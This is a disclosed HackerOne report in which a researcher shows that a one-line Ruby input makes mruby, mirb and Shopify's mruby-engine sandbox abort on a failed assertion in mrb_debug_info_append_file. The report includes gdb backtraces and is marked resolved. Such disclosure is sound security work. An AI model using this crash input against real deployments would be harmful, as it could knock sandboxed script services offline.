SIGABRT in mrb_debug_info_append_file

Disclosed: 2017-05-13 21:29:43 By ston3 To shopify-scripts
Unknown
Vulnerability Details
PoC ------------------- The following code triggers the bug (attached as test_mrb_debug_info_append_file.rb): i""do"".+end mirb ------------------- x@x:~/Desktop/test/mruby/bin$ ./mirb test_mrb_debug_info_append_file.rb mirb - Embeddable Interactive Ruby Shell mirb: /home/x/Desktop/test/mruby/src/debug.c:136: mrb_debug_info_append_file: Assertion `irep->lines' failed. Aborted Backtrace - mirb ------------------- x@x:~/Desktop/test/mruby/bin$ gdb -q ./mirb Reading symbols from ./mirb...done. (gdb) r test_mrb_debug_info_append_file.rb Starting program: /home/x/Desktop/test/mruby/bin/mirb test_mrb_debug_info_append_file.rb mirb - Embeddable Interactive Ruby Shell mirb: /home/x/Desktop/test/mruby/src/debug.c:136: mrb_debug_info_append_file: Assertion `irep->lines' failed. Program received signal SIGABRT, Aborted. 0x00007ffff7744f79 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 56 ../nptl/sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) bt #0 0x00007ffff7744f79 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 #1 0x00007ffff7748388 in __GI_abort () at abort.c:89 #2 0x00007ffff773de36 in __assert_fail_base (fmt=0x7ffff788f718 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", assertion=assertion@entry=0x48dbda "irep->lines", file=file@entry=0x48d9c0 "/home/x/Desktop/test/mruby/src/debug.c", line=line@entry=136, function=function@entry=0x48dc50 <__PRETTY_FUNCTION__.3492> "mrb_debug_info_append_file") at assert.c:92 #3 0x00007ffff773dee2 in __GI___assert_fail (assertion=0x48dbda "irep->lines", file=0x48d9c0 "/home/x/Desktop/test/mruby/src/debug.c", line=136, function=0x48dc50 <__PRETTY_FUNCTION__.3492> "mrb_debug_info_append_file") at assert.c:101 #4 0x0000000000456bc0 in mrb_debug_info_append_file (mrb=0x6b0010, irep=0x71fd50, start_pos=0, end_pos=0) at /home/x/Desktop/test/mruby/src/debug.c:136 #5 0x0000000000440f51 in scope_finish (s=0x71bec0) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/codegen.c:2877 #6 0x0000000000438242 in lambda_body (s=0x71bec0, tree=0x70e40c, blk=1) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/codegen.c:725 #7 0x000000000043a756 in codegen (s=0x715c80, tree=0x70e424, val=1) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/codegen.c:1397 #8 0x0000000000438ac1 in gen_call (s=0x715c80, tree=0x70e288, name=0, sp=0, val=1, safe=0) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/codegen.c:895 #9 0x000000000043b37f in codegen (s=0x715c80, tree=0x70e2e8, val=1) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/codegen.c:1585 #10 0x0000000000439e84 in codegen (s=0x715c80, tree=0x70e224, val=1) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/codegen.c:1271 #11 0x00000000004382be in scope_body (s=0x711db0, tree=0x70e46c, val=0) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/codegen.c:737 #12 0x000000000043b34b in codegen (s=0x711db0, tree=0x70e46c, val=0) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/codegen.c:1580 #13 0x00000000004413ef in mrb_generate_code (mrb=0x6b0010, p=0x70dec0) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/codegen.c:2984 #14 0x0000000000402af5 in main (argc=2, argv=0x7fffffffdf28) at /home/x/Desktop/test/mruby/mrbgems/mruby-bin-mirb/tools/mirb/mirb.c:537 mruby ------------------- x@x:~/Desktop/test/mruby/bin$ ./mruby test_mrb_debug_info_append_file.rb mruby: /home/x/Desktop/test/mruby/src/debug.c:136: mrb_debug_info_append_file: Assertion `irep->lines' failed. Aborted Backtrace - mruby ------------------- x@x:~/Desktop/test/mruby/bin$ gdb -q ./mruby Reading symbols from ./mruby...done. (gdb) r test_mrb_debug_info_append_file.rb Starting program: /home/x/Desktop/test/mruby/bin/mruby test_mrb_debug_info_append_file.rb mruby: /home/x/Desktop/test/mruby/src/debug.c:136: mrb_debug_info_append_file: Assertion `irep->lines' failed. Program received signal SIGABRT, Aborted. 0x00007ffff7744f79 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 56 ../nptl/sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) bt #0 0x00007ffff7744f79 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 #1 0x00007ffff7748388 in __GI_abort () at abort.c:89 #2 0x00007ffff773de36 in __assert_fail_base (fmt=0x7ffff788f718 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", assertion=assertion@entry=0x48bcea "irep->lines", file=file@entry=0x48bad0 "/home/x/Desktop/test/mruby/src/debug.c", line=line@entry=136, function=function@entry=0x48bd60 <__PRETTY_FUNCTION__.3492> "mrb_debug_info_append_file") at assert.c:92 #3 0x00007ffff773dee2 in __GI___assert_fail (assertion=0x48bcea "irep->lines", file=0x48bad0 "/home/x/Desktop/test/mruby/src/debug.c", line=136, function=0x48bd60 <__PRETTY_FUNCTION__.3492> "mrb_debug_info_append_file") at assert.c:101 #4 0x0000000000448b7f in mrb_debug_info_append_file (mrb=0x6af010, irep=0x71ee80, start_pos=0, end_pos=0) at /home/x/Desktop/test/mruby/src/debug.c:136 #5 0x000000000045ada9 in scope_finish (s=0x71aff0) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/codegen.c:2877 #6 0x000000000045209a in lambda_body (s=0x71aff0, tree=0x70d52c, blk=1) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/codegen.c:725 #7 0x00000000004545ae in codegen (s=0x714db0, tree=0x70d544, val=1) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/codegen.c:1397 #8 0x0000000000452919 in gen_call (s=0x714db0, tree=0x70d3a8, name=0, sp=0, val=1, safe=0) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/codegen.c:895 #9 0x00000000004551d7 in codegen (s=0x714db0, tree=0x70d408, val=1) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/codegen.c:1585 #10 0x0000000000453cdc in codegen (s=0x714db0, tree=0x70d344, val=1) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/codegen.c:1271 #11 0x0000000000452116 in scope_body (s=0x710ee0, tree=0x70d58c, val=0) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/codegen.c:737 #12 0x00000000004551a3 in codegen (s=0x710ee0, tree=0x70d58c, val=0) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/codegen.c:1580 #13 0x000000000045b247 in mrb_generate_code (mrb=0x6af010, p=0x70cfe0) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/codegen.c:2984 #14 0x0000000000438ce0 in mrb_load_exec (mrb=0x6af010, p=0x70cfe0, c=0x70bbf0) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/parse.y:5737 #15 0x0000000000438f23 in mrb_load_file_cxt (mrb=0x6af010, f=0x70cbe0, c=0x70bbf0) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/parse.y:5769 #16 0x0000000000402415 in main (argc=2, argv=0x7fffffffdf28) at /home/x/Desktop/test/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:227 Sandbox ------------------- x@x:~/Desktop/test/mruby/bin$ ../../mruby-engine/bin/sandbox test_mrb_debug_info_append_file.rb ruby: /home/x/Desktop/test/mruby-engine/ext/mruby_engine/mruby/src/debug.c:136: mrb_debug_info_append_file: Assertion `irep->lines' failed. Aborted System information ------------------- SHA hash - 051e40c0493f2de332f5439e3230c9fe6958bf1a Linux 14.04 x86_64 gcc version 4.8.4
Actions
View on HackerOne
Report Stats
  • Report ID: 215967
  • State: Closed
  • Substate: resolved
  • Upvotes: 6
Share this report